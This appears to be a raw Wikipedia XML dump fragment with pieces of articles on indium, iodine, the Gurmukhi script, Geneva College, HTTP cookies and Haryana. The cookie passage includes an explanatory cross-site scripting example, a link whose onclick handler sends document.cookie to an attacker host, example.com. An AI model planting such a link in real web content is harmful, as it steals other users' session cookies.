ordered]] [[subset]] is contained in a maximal to
;[[krypton|Kr]]&amp;#93; 4d&lt;sup&gt;10&lt;/sup&gt; 5s&lt;sup&gt;2&lt;/sup&gt; 5p&lt;sup&gt;1&lt;/sup&gt; }} {{Elementbox_epershell | 2, 8, 18, 18, 3 }} {{Elementbox_section_physicalprop | color1=#cccccc | color2=black }} {{Elementbox_phase | [[solid]] }} {{Elementbox_density_gpcm3nrt | 7.31 }} {{Elementbox_densityliq_gpcm3mp | 7.02 }} {{Elementbox_meltingpoint | k=429.75 | c=156.60 | f=313.88 }} {{Elementbox_boilingpoint | k=2345 | c=2072 | f=3762 }} {{Elementbox_heatfusion_kjpmol | 3.281 }} {{Elementbox_heatvaporiz_kjpmol | 231.8 }} {{Elementbox_heatcapacity_jpmolkat25 | 26.74 }} {{Elementbox_vaporpressure_katpa | 1196 | 1325 | 1485 | 1690 | 1962 | 2340 | comment= }} {{Elementbox_section_atomicprop | color1=#cccccc | color2=black }} {{Elementbox_crystalstruct | tetragonal }} {{Elementbox_oxistates | 3&lt;br /&gt;([[amphoteric]] oxide) }} {{Elementbox_electroneg_pauling | 1.78 }} {{Elementbox_ionizationenergies4 | 558.3 | 1820.7 | 2704 }} {{Elementbox_atomicradius_pm | [[1 E-10 m|155]] }} {{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|156]] }} {{Elementbox_covalentradius_pm | [[1 E-10 m|144]] }} {{Elementbox_vanderwaalsrad_pm | [[1 E-10 m|193]] }} {{Elementbox_section_miscellaneous | color1=#cccccc | color2=black }} {{Elementbox_magnetic | no data }} {{Elementbox_eresist_ohmmat20 | 83.7 n}} {{Elementbox_thermalcond_wpmkat300k | 81.8 }} {{Elementbox_thermalexpansion_umpmkat25 | 32.1 }} {{Elementbox_speedofsound_rodmpsat20 | 1215 }} {{Elementbox_youngsmodulus_gpa | 11 }} {{Elementbox_mohshardness | 1.2 }} {{Elementbox_brinellhardness_mpa | 8.83 }} {{Elementbox_cas_number | 7440-74-6 }} {{Elementbox_isotopes_begin | isotopesof=indium | color1=#cccccc | color2=black }} {{Elementbox_isotopes_stable | mn=113 | sym=In | na=4.3% | n=64 }} {{Elementbox_isotopes_decay | mn=115 | sym=In | na=95.7% | hl=4.41&amp;times;10&lt;sup&gt;14&lt;/sup&gt;[[year|y]] | dm=[[beta emission|Beta&lt;sup&gt;-&lt;/sup&gt;]] | de=0.495 | pn=115 | ps=[[tin|Sn]] }} {{Elementbox_isotopes_end}} {{Elementbox_footer | color1=#cccccc | color2=black }} '''Indium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''In''' and [[atomic number]] 49. This rare, soft, malleable and easily fusible [[poor metal]], is chemically similar to [[aluminium]] or [[gallium]] but looks more like [[zinc]] (zinc ores are also the primary source of this metal). Its current primary application is to form transparent electrodes from [[Indium tin oxide]] in [[liquid crystal displays]]. It is also widely used in thin-films to form lubricated layers (during [[World War II]] it was widely used to coat bearings in high-performance [[aircraft]]). == Notable characteristics == Indium is a very soft, silvery-[[white]] true [[metal]] that has a bright [[luster]]. As a pure metal indium emits a high-pitched &quot;cry&quot; when it is bent. Both [[gallium]] and indium are able to wet [[glass]]. One unusual property of indium is that its most common [[isotope]] is very slightly radioactive; it very slowly decays by [[beta emission]] to [[tin]] over time. This radioactivity is not considered hazardous, mainly because its decay rate is nearly 50,000 times slower than that of natural [[thorium]], with a half-life of 4 x 10&lt;sup&gt;14&lt;/sup&gt; years; many thousands of times longer than the estimated age of the universe. This radioactivity is exploited by medicine to scan bone for infection or inflammation. Also, indium is not a notorious cumulative poison, like its neighbor [[cadmium]], and is relatively rare. == Applications == The first large-scale application for indium was as a coating for [[bearing (mechanical)|bearing]]s in high-performance [[aircraft]] engines during [[World War II]]. Afterwards, production gradually increased as new uses were found in fusible [[alloy]]s, [[solder]]s, and [[electronics]]. In the middle and late [[1980s]], the development of indium phosphide [[semiconductor]]s and indium-[[tin]]-[[oxide]] thin films for [[liquid crystal display]]s (LCD) aroused much interest. By 1992, the thin-film application had become the largest end use. Other uses; *Used in the manufacture of low-melting-temperature [[alloy]]s. An alloy consisting of 24% indium and 76% gallium is [[liquid]] at room temperature. *Some indium compounds such as [[indium antimonide]], [[indium phosphide]], and [[indium nitride]] are [[semiconductors]] with useful properties *Used as a [[semiconductor]] [[dopant]] *Can also be plated onto metals and evaporated onto glass which forms a [[mirror]] which is as good as those made with [[silver]] but has higher [[corrosion]] resistance. *Its [[oxide]] is used in the making of [[electroluminescent]] panels. *Used as a light filter in [[sodium vapor lamp#Low pressure / LPS / SOX|Low pressure sodium vapor lamp]]s *Indium's freezing point of 429.7485 K (156.5985 °C) is a defining fixed point on the international temperature scale [[ITS-90]]. *Sometimes used as a component of nuclear [[control rod]]s. == History == Indium (named after the [[indigo]] line in its [[atomic spectrum]]) was discovered by [[Ferdinand Reich]] and [[Hieronymous Theodor Richter]] in [[1863]] while they were testing [[zinc]] ores with a [[spectrograph]] in search of [[thallium]]. It is interesting to note that most elements were discovered while searching for other elements. Richter went on to isolate the metal in [[1867]]. == Occurrence == [[Image:Indium wire.jpg|thumb|left|Ductile Indium wire]] Indium is produced mainly from residues generated during [[zinc]] [[ore]] processing but is also found in [[iron]], [[lead]], and [[copper]] ores. The amount of indium consumed is largely a function of worldwide LCD production. Increased manufacturing efficiency and recycling (especially in [[Japan]]) maintain a balance between demand and supply. The average indium price for 2005 was [[United States dollar|US$]]900 per [[kilogram]]. This is unusually high. Demand increased as the metal is used in [[LCD]]s televisions, and supply decreased when a number of [[China|Chinese]] [[mining]] concerns stopped extracting indium from their [[zinc]] tailings. In 2002, the price was US$94/Kg. Up until [[1924]], there was only about a [[gram]] of isolated indium on the planet. The Earth is estimated to contain about 0.1 [[part per million|ppm]] of indium which means it is about as abundant as [[silver]]. Canada is a leading producer of indium, producing more than 1,000,000 [[troy ounce]]s (31,100 kg) in 1997. == Precautions == Pure indium in metal form is considered non-toxic by most sources. This may not be the case with indium compounds: there is some unconfirmed evidence that suggests that indium has a low level of [[toxic]]ity. However, in the [[welding]] and [[semiconductor]] industries, where indium exposure is relatively high, there have been no reports of any toxic side-effects. Other sources are more definite about indium compounds' toxicity - for example, the [http://www.webelements.com/ WebElements] website states that ''&quot;All indium compounds should be regarded as highly toxic. Indium compounds damage the heart, kidney, and liver, and may be [[teratogenic]].&quot;'' For example, [[indium trichloride]] anhydrous (InCl3) is quite toxic, while [[indium phosphide]] (InP) is both toxic and a suspected [[carcinogen]]. ==References== *[http://periodic.lanl.gov/elements/49.html Los Alamos National Laboratory &amp;ndash; Indium] ==External links== {{Commons|Indium}} *[http://www.webelements.com/webelements/elements/text/In/index.html WebElements.com &amp;ndash; Indium] [[Category:Chemical elements]] [[Category:Poor metals]] [[ar:إنديوم]] [[ca:Indi (element)]] [[cs:Indium]] [[de:Indium]] [[et:Indium]] [[es:Indio (elemento)]] [[eo:Indiumo]] [[fr:Indium]] [[ko:인듐]] [[io:Indio]] [[is:Indín]] [[it:Indio]] [[he:אינדיום]] [[ku:Îndiyûm]] [[lv:Indijs]] [[lt:Indis]] [[hu:Indium]] [[nl:Indium]] [[ja:インジウム]] [[no:Indium]] [[nn:Indium]] [[oc:Indi]] [[pl:Ind]] [[pt:Índio (elemento químico)]] [[ru:Индий]] [[sl:Indij]] [[sr:Индијум]] [[fi:Indium]] [[sv:Indium]] [[th:อินเดียม]] [[uk:Індій]] [[zh:铟]]</text> </revision> </page> <page> <title>Iodine</title> <id>14750</id> <revision> <id>41669148</id> <timestamp>2006-02-28T23:25:46Z</timestamp> <contributor> <username>Xiner</username> <id>633563</id> </contributor> <comment>/* Precautions */</comment> <text xml:space="preserve">{{Elementbox_header | number=53 | symbol=I | name=iodine | left=[[tellurium]] | right=[[xenon]] | above=[[bromine|Br]] | below=[[astatine|At]] | color1=#ffff99 | color2=black }} {{Elementbox_series | [[halogen]]s }} {{Elementbox_groupperiodblock | group=17 | period=5 | block=p }} {{Elementbox_appearance_img | I,53| violet-dark gray, lustrous }} {{Elementbox_atomicmass_gpm | [[1 E-25 kg|126.90447]][[List of elements by atomic mass|(3)]] }} {{Elementbox_econfig | &amp;#91;[[krypton|Kr]]&amp;#93; 4d&lt;sup&gt;10&lt;/sup&gt; 5s&lt;sup&gt;2&lt;/sup&gt; 5p&lt;sup&gt;5&lt;/sup&gt; }} {{Elementbox_epershell | 2, 8, 18, 18, 7 }} {{Elementbox_section_physicalprop | color1=#ffff99 | color2=black }} {{Elementbox_phase | [[solid]] }} {{Elementbox_density_gpcm3nrt | 4.933 }} {{Elementbox_meltingpoint | k=386.85 | c=113.7 | f=236.66 }} {{Elementbox_boilingpoint | k=457.4 | c=184.3 | f=363.7 }} {{Elementbox_heatfusion_kjpmol | (I&lt;sub&gt;2&lt;/sub&gt;) 15.52 }} {{Elementbox_heatvaporiz_kjpmol | (I&lt;sub&gt;2&lt;/sub&gt;) 41.57 }} {{Elementbox_heatcapacity_jpmolkat25 | (I&lt;sub&gt;2&lt;/sub&gt;) 54.44 }} {{Elementbox_vaporpressure_katpa | 260 | 282 | 309 | 342 | 381 | 457 | comment=(rhombic) }} {{Elementbox_section_atomicprop | color1=#ffff99 | color2=black }} {{Elementbox_crystalstruct | orthorhombic }} {{Elementbox_oxistates | &amp;plusmn;1, 5, 7&lt;br /&gt;(strongly [[acid]]ic oxide) }} {{Elementbox_electroneg_pauling | 2.66 }} {{Elementbox_ionizationenergies3 | 1008.4 | 1845.9 | 3180 }} {{Elementbox_atomicradius_pm | [[1 E-10 m
; ||&amp;#2579; ||&amp;#2580; ||&amp;#2581; ||&amp;#2582; ||&amp;#2583; ||&amp;#2584; ||&amp;#2585; ||&amp;#2586; ||&amp;#2587; ||&amp;#2588; ||&amp;#2589; ||&amp;#2590; ||&amp;#2591; |- align=&quot;center&quot; style=&quot;font-size: small;&quot; |A20 ||&amp;#2592; ||&amp;#2593; ||&amp;#2594; ||&amp;#2595; ||&amp;#2596; ||&amp;#2597; ||&amp;#2598; ||&amp;#2599; ||&amp;#2600; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2602; ||&amp;#2603; ||&amp;#2604; ||&amp;#2605; ||&amp;#2606; ||&amp;#2607; |- align=&quot;center&quot; style=&quot;font-size: small;&quot; |A30 ||&amp;#2608; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2610; ||&amp;#2611; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2613; ||&amp;#2614; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2616; ||&amp;#2617; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2620; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2622; ||&amp;#2623; |- align=&quot;center&quot; style=&quot;font-size: small;&quot; |A40 ||&amp;#2624; ||&amp;#2625; ||&amp;#2626; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2631; ||&amp;#2632; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2635; ||&amp;#2636; ||&amp;#2637; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; |- align=&quot;center&quot; style=&quot;font-size: small;&quot; |A50 | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2649; ||&amp;#2650; ||&amp;#2651; ||&amp;#2652; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2654; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; |- align=&quot;center&quot; style=&quot;font-size: small;&quot; |A60 | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||&amp;#2662; ||&amp;#2663; ||&amp;#2664; ||&amp;#2665; ||&amp;#2666; ||&amp;#2667; ||&amp;#2668; ||&amp;#2669; ||&amp;#2670; ||&amp;#2671; |- align=&quot;center&quot; style=&quot;font-size: small;&quot; |A70 ||&amp;#2672; ||&amp;#2673; ||&amp;#2674; ||&amp;#2675; ||&amp;#2676; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; | bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; |- |} == Bibliography == Following books/articles have been written on the origins of the [[Gurmukhi]] script (all in the [[Punjabi language]]): Gurbaksh (G.B.) Singh. ''Gurmukhi Lipi da Janam te Vikas.'' Chandigarh: Punjab University, 1950. Ishar Singh Tãgh, Dr. ''Gurmukhi Lipi da Vigyamulak Adhiyan.'' Patiala: Jodh Singh Karamjit Singh. Kala Singh Bedi, Dr. ''Lipi da Vikas.'' Patiala: Punjabi University, 1995. Kartar Singh Dakha.'' Gurmukhi te Hindi da Takra.'' 1948. Piara Singh Padam, Prof. ''Gurmukhi Lipi da Itihas.'' Patiala: Kalgidhar Kalam Foundation Kalam Mandir, 1953. Prem Parkash Singh, Dr. &quot;Gurmukhi di Utpati.&quot; ''Khoj Patrika'', Patiala: Punjabi University. Pritam Singh, Prof. &quot;Gurmukhi Lipi.&quot; ''Khoj Patrika''. p.110, vol.36, 1992. Patiala: Punjabi University. Sohan Singh Galautra. ''Punjab dian Lipiã.'' Tarlochan Singh Bedi, Dr. ''Gurmukhi Lipi da Janam te Vikas.'' Patiala: Punjabi University, 1999. ==External links== * [http://guca.sourceforge.net/ Punjabi Computing Resource Centre] * [http://guca.sourceforge.net/typography/fonts/saab/ Saab - A free Unicode 4.0 OpenType Gurmukhi font] * [http://www.zenofliving.ca/bhupinder/punjabi.php/ Gurmukhi pseudo text generator] * [http://www.unitedpunjab.com/punjabi-works/punjabi-keyboard.html Unicode Punjabi (Gurmukhi/Shahmukhi) WebBased OnScreen Keyboard&lt;--] * [http://www.5abi.com/5ratan/ Free online Punjabi (Gurmukhi) lessons] * [http://www.punjabonline.com/servlet/library.language?Action=Main Learn Gurmukhi] * [http://www.omniglot.com/writing/gurmuki.htm Omniglot's guide to Gurmukhi] * [http://www.alanwood.net/unicode/gurmukhi.html Test for Unicode support in Web browsers] * [http://www.unicode.org/charts/PDF/U0A00.pdf Unicode script chart for Gurmukhi (PDF file)] * [http://punjabirc.tiet.ac.in/On-Line-Teaching-Punjabi/frame/PUNJABI%20intro%20page1.htm Introduction to Gurmukhi] * [http://www.advancedcentrepunjabi.org The Advanced Centre for Technical Development of Punjabi language, Literature and Culture, Punjabi University, Patiala] [[Category:Abugida writing systems]] [[Category:Sikhism]] [[br:Skritur gurmukhi]] [[de:Gurmukhi-Schrift]] [[fr:Gurmukhî]] [[nl:Gurmukhi]] [[nn:Gurmukhi]]</text> </revision> </page> <page> <title>Gurmukhi script</title> <id>13081</id> <revision> <id>26801080</id> <timestamp>2005-10-29T16:38:40Z</timestamp> <contributor> <username>Martin.Budden</username> <id>453630</id> </contributor> <minor /> <text xml:space="preserve">#REDIRECT [[Gurmukhī script]]</text> </revision> </page> <page> <title>Geneva College</title> <id>13082</id> <revision> <id>40364203</id> <timestamp>2006-02-20T01:56:45Z</timestamp> <contributor> <username>Rich Farmbrough</username> <id>82835</id> </contributor> <minor /> <comment>External links per MoS.</comment> <text xml:space="preserve">&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;285px&quot; style=&quot;margin-left:20px&quot;&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=2&gt; [[Image:oldmain1.jpg]] &lt;br&gt; &lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray; font-size: smaller&quot;&gt;''Motto: Pro Christo et Patria''&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;President&lt;/td&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;Kenneth A. Smith&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;School type&lt;/td&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;Private; Christian&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Religious affiliation&lt;/td&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;[[Reformed Presbyterian Church of North America|Reformed Presbyterian]]&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot;&gt;Founded&lt;/td&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;1848&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Location&lt;/td&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;Main Campus:&lt;br&gt;[[Beaver Falls, Pennsylvania|Beaver Falls]], [[Pennsylvania]]&lt;br&gt;Branch Campuses:&lt;br&gt;Philadelphia&lt;br&gt;[[Pittsburgh]]&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Total Enrollment&lt;/td&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;2,100&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Faculty&lt;/td&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;79 (full time)&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Campus surroundings&lt;/td&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;Suburban&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Campus size&lt;/td&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;55 acres (223,000 m&amp;sup2;)&lt;br&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Sports teams&lt;/td&gt; &lt;!--if called different than mascot--&gt; &lt;td bgcolor=&quot;#dfefff&quot;&gt;Golden Tornadoes&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; :'''''Geneva College''' was the original name of [[Hobart College]]. '''Geneva College''' is a small, private, liberal arts college located in the [[Pittsburgh]] suburb of [[Beaver Falls, Pennsylvania]]. Founded in [[1848]] in [[Northwood, Ohio]], by the [[Reformed Presbyterian Church of North America]], Geneva was named after the Swiss center of the Reformed faith movement. In [[1880]], the College moved to Beaver Falls and built a campus on land donated by the [[Harmony Society]]. Geneva offers undergradate degree programs in the arts and sciences, and masters degree programs in Counseling, Higher Education, Business Administration, Organizational Leadership, and Special Education. The school's sports teams are called the Golden Tornadoes. Except for the [[college football|football]] team, the teams participate in the [[National Association of Intercollegiate Athletics|NAIA]] and the [[American Mideast Conference]]. The football team participates in the [[Mid-States Football Association]]. In 2005, Geneva began participating in the [[Presidents' Athletic Conference]] of [[NCAA]] Division III as a provisional member. Geneva is expected to become a full member in [[2011]]. Geneva College bills itself the &quot;Birthplace of College Basketball.&quot; The first recorded basketball game involving a college team occurred at Geneva College on [[April 8]], [[1893]] when the Geneva College Covenanters defeated the [[New Brighton, Pennsylvania|New Brighton]] [[YMCA]]. ==External links== * [http://www.geneva.edu/ College website] * [http://donhansen2.blogspot.com
acts are used in combination with sites allowing users to post HTML content that other users can see. As an example, an attacker running the domain &lt;code&gt;example.com&lt;/code&gt; may post a comment containing the following link to a popular blog they do not otherwise control: :&lt;code&gt;&lt;nowiki&gt;&lt;a href=&quot;#&quot; onclick=&quot;window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;&quot;&gt;Click here!&lt;/a&gt;&lt;/nowiki&gt;&lt;/code&gt; When another user clicks on this link, the browser executes the piece of code within the &lt;code&gt;onclick&lt;/code&gt; attribute, thus replacing the string &lt;code&gt;document.cookie&lt;/code&gt; with the list of cookies that are active for the page. As a result, this list of cookies is sent to the &lt;code&gt;example.com&lt;/code&gt; server, and the attacker is then able to collect the cookies of other users. This type of attack is difficult to be detected on the user side, since the script is coming from the same domain that has set the cookie, and the operation of sending the value appear to be authorized by this domain. It is usually considered the responsibility of the administrators running sites where users can post to disallow the posting of such malicious code. ==References== &lt;!-- How to add a footnote: NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnotes]] for details. 1) Assign your footnote a unique name, for example TheSun_Dec9. 2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote. 3) Take note of the name of the footnote that immediately precedes yours in the article body. 4) Add #{{Note|TheSun_Dec9}} to the footnote numbered-list, immediately below the footnote you noted in step 3. No need to re-number anything! 5) Multiple footnotes to the same reference: see [[Wikipedia:Footnotes]] for a how-to, if you don't succeed by simply following the pattern. NOTE: It is important to add footnotes in the right order in the list! --&gt; # {{note|netscape}} [http://wp.netscape.com/newsref/std/cookie_spec.html Persistent client state - HTTP cookies - Preliminary specification] (Netscape) # {{note|rfc2}} RFC 2109 and RFC 2965 - HTTP State Management Mechanism ([[Internet Engineering Task Force|IETF]]) # {{note|faq}} [http://www.cookiecentral.com/faq/ The unofficial cookie faq] # {{note|cbsnews}} CBS News. [http://www.cbsnews.com/stories/2002/03/20/tech/main504131.shtml CIA Caught Sneaking Cookies]. [[March 20]] [[2002]]. # {{note|asspress}} The Associated Press. [http://www.nytimes.com/2005/12/29/national/29cookies.html Spy Agency Removes Illegal Tracking Files]. [[December 29]] [[2005]] # {{note|xss}} [http://www.cgisecurity.com/articles/xss-faq.shtml#theft &quot;Can you show me what XSS cookie theft looks like?&quot;] (excerpt from the Cgisecurity [http://www.cgisecurity.com/articles/xss-faq.shtml Cross Site Scripting FAQ]) # {{note|thealli}} [http://www.theallineed.com/computers/05072901.htm Contrary to popular belief, cookies are good for you! (on the Internet)] # {{note|eei}} Keith C. Ivey [http://www.eeicommunications.com/eye/utw/98feb.html Untangling the Web Cookies: Just a Little Data Snack]. 1998 # {{note|jupiter}} Brian Quinton. [http://searchlineinfo.com/InsightExpress_cookie_study/ Study: Users Don’t Understand, Can’t Delete Cookies]. Direct. [[May 18]] [[2005]] # {{note|slate}} Adam Penenberg. [http://www.slate.com/id/2129656/ Cookie Monsters]. [[Slate (magazine)|Slate]], [[7 November]] [[2005]] # {{note|nytimes}} John Schwartz. [http://www.nytimes.com/2001/09/04/technology/04COOK.html Giving the Web a memory cost its users privacy]. New York Times. [[September 4]] [[2001]] # {{note|ks}} Jay Kesan and Rajiv Shah. [http://opensource.mit.edu/papers/shah.pdf Shaping code]. Chapter II.B (Netscape's cookies). # {{note|kristol}} David Kristol. HTTP Cookies: Standards, privacy, and politics. ACM Transactions on Internet Technology, 1(2), 151 - 198, 2001. {{doi|10.1145/502152.502153}} # {{note|ie}} [http://www.microsoft.com/windows/IE/community/columns/historyofie.mspx The history of Internet Explorer] # {{note|clarke}} Roger Clarke. [http://www.anu.edu.au/people/Roger.Clarke/II/Cookies.html Cookies] # {{note|javascript}} [http://www.yourhtmlsource.com/javascript/cookies.html Cookies in JavaScript] ==External links== *[http://www.rajivshah.com/Case_Studies/Cookies/CookiesLinks.html Cookie links] *[http://www.acros.si/papers/session_fixation.pdf Session Fixation (PDF)] *[http://www.howstuffworks.com/cookie.htm How cookies work] *[http://www.cert.org/advisories/CA-2000-02.html CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests] : cf. 'Attacks May Be Persistent Through Poisoned Cookies' paragraph * [http://www.imperva.com/application_defense_center/glossary/cookie_poisoning.html description of a cookie poisoning attack] * [http://www.ilovejackdaniels.com/development/are-cookies-dangerous/ Are Cookies Dangerous] An article explaining what cookies are and what to be careful of. * [http://www.cookiecentral.com/ Cookie Central] * [http://www.safecount.org/ safecount.org] An organization of marketing researchers explaining and defending safe cookie use. * [http://www.ciac.org/ciac/bulletins/i-034.shtml CIAC Bulletin] from the [[United States Department of Energy]] {{FOLDOC}} [[Category:HTTP]] [[Category:Moral panics]] {{Link FA|pl}} [[als:Cookie]] [[cs:HTTP cookie]] [[da:Cookie]] [[de:HTTP-Cookie]] [[eo:Kuketo]] [[es:Cookie]] [[fr:Cookie (informatique)]] [[he:קוקית]] [[hu:HTTP süti]] [[it:Cookie]] [[ja:HTTP cookie]] [[ko:HTTP 쿠키]] [[nl:Cookie (internet)]] [[no:Informasjonskapsel]] [[pl:Ciasteczka (internet)]] [[pt:Cookie]] [[fi:Eväste]] [[sv:Cookie]] [[sw:Kuki]] [[th:คุกกี้ (อินเทอร์เน็ต)]] [[zh:Cookie]] [[ru:Куки]] {{featured article}}</text> </revision> </page> <page> <title>Haryana</title> <id>14189</id> <revision> <id>42000192</id> <timestamp>2006-03-03T03:27:46Z</timestamp> <contributor> <ip>70.26.22.84</ip> </contributor> <comment>/* Demographics */</comment> <text xml:space="preserve">{{India state infobox| state_name=Haryana | image_map=IndiaHaryana.png | capital=[[Chandigarh]] | latd = 30.73|longd=76.78| largest_city=[[Faridabad]]| abbreviation=IN-HR | official_languages=[[Hindi]]| legislature_type=Unicameral | legislature_strength=90 | governor_name=[[A.R. Kidwai]] | chief_minister=[[Bhupinder Singh Hooda]] | established_date=[[1966-11-01]] | area=44,212 | area_rank=20th | area_magnitude=10 | population_year=2001 | population=21,082,989 | population_rank=16th | population_density=477 | districts=19 | website=haryana.gov.in | seal=[[image:Haryanaseal.png|center]] | footnotes = | }} '''Haryana''' ({{lang-hi|हरियाणा}}) is a [[States and territories of India|state]] in north [[India]]. Neighbouring states are [[Punjab, India|Punjab]] and [[Himachal Pradesh]] to the north, [[Rajasthan]] to the west and south. The river [[Yamuna]] acts as the eastern boundary between Haryana and the states of [[Uttaranchal]] &amp; [[Uttar Pradesh]]. Seasonal rivers like [[Ghaggar River]], Markanda, Tangri, Sahibi etc pass through the state. == Geography == Haryana is situated in the north between 27 deg 37' to 30 deg 35' latitude and between 74 deg 28' to 77 deg 36' longitude. The altitude of Haryana varies between 700 to 3600 ft (200 metres to 2 kilometres) above sea level. The state is divided into four divisions for administrative purpose - Ambala, Rohtak, Gurgaon and Hissar. There are 19 districts, 47 sub-divisions, 67 tehsils, 45 sub-tehsils and 116 blocks. Haryana has a total of 81 cities and towns. It has 6,759 villages. An area of 1,553 km&amp;sup2; is covered by forest. Haryana has four main geographical features. * Shivalik Hills * [[Yamuna]] - Ghaggar (Saraswati) plain * Semi-desert sandy plain * [[Aravalli Range]] == History == The mostly [[Hindi]]-speaking eastern portion of [[Punjab, India|Punjab]] became Haryana, while mostly [[Punjabi]]-speaking western portion remained as Punjab. Today, Haryana has the vast majority of the ethnic [[Hindu]] population. [[Chandigarh]], on the linguistic border, was made a [[union territory]], that serves as capital of both these states. [[Chandigarh]] was due to transfer to Punjab alone in 1986, but the transfer was delayed by the Congress party due to presure from Hindu population. Haryana, with more than 5000 year old history, is the cradle of [[Vedic civilization|Vedic]] and [[Hindu]] civilization. It was here 5000 years ago that Lord [[Krishna]] preached [[Gita]] at the start of the battle of [[Mahabharata]]. Before the Mahabharata war, a battle of ten kings took place in the [[Kurukshetra]] region in the Saraswati valley. Mahabharata (3102 BC) mentions Haryana as Bahudhhanyaka, 'land of plentiful grains' and Bahudhana, 'land of immense riches'. The word 'Hariana' occurs in a [[Sanskrit]] inscription dated 1328 AD kept in Delhi Museum which refers to this region as &quot;The heaven on earth&quot;. It was here that the [[Aryan]] culture took birth and matured. Excavations in places like Naurangabad, and Mittathal in Bhiwani, Kunal in Fatehbad, Agroha near Hissar, [[Rakhigarhi]] in Jind, Rukhi in Rohtak and [[Banawali]] in Sirsa have unearthed evidence of pre-Harappan and Harappan culture. Findings of pottery, sculpture and jewellery in sites at [[Kurukshetra]], Pehowa, Tilpat and Panipat have proved the historicity of the Mahabharat war. These places are mentioned in the Mahabharat as Prithudaka (Pehowa), Tilprastha (Tilput), Panprastha (Panipat) &amp; Sonprastha (Sonipat). Haryana state came into existence on 1st November, 1966. == Demographics == The population of Haryana, according to the 2001 census, is 2,10,83,000, with 1,13,28,000 males and 